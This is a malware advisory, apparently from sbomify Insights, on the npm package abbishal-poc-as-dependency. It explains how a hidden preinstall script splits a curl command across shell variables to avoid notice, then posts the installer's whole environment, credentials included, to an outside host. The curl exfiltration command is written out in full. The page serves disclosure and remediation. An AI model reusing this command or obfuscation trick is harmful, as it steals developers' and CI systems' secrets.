# MAL-2026-17653: Malicious code in abbishal-poc-as-dependency (npm)


- **Type:** Malicious package
- **Package:** `abbishal-poc-as-dependency` (npm)
- **Published:** 8 Oct 2026
- **Also known as:** GHSA-pj66-3vwh-cgm2

## What is MAL-2026-17653?

MAL-2026-17653 is a malicious package in abbishal-poc-as-dependency, published on 8 Oct 2026. 

### Official description

package.json declares a preinstall lifecycle script `sh./test.sh`. test.sh assembles a `curl -d "$(env)" https://abbishal.com/sh/installation-success` command by splitting the tokens `curl`, `env`, and `-d` across single-character shell variables (`i=c`, `s=u`, `a=rl`, `t=en`) and reconstructing them via variable concatenation and command substitution. On `npm install` this POSTs the entire output of `env` — the installer shell/CI's full process environment, including any exported secrets such as CI tokens, cloud credentials (AWS_*, GCP, Azure), and npm publish tokens — to a hardcoded third-party host. The README asserts that the package performs no network requests, no filesystem access, no data collection, and has no preinstall/postinstall lifecycle scripts, directly contradicting the shipped manifest and script. The variable-fragment obfuscation and the cover-story README indicate deliberate evasion rather than a legitimate placeholder or canary.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-17653?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17653 is a malicious package: abbishal-poc-as-dependency (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17653/ (Markdown: https://insights.sbomify.com/MAL-2026-17653/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17653

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17653/
Summaries are generated and may contain mistakes; the official description above is the record.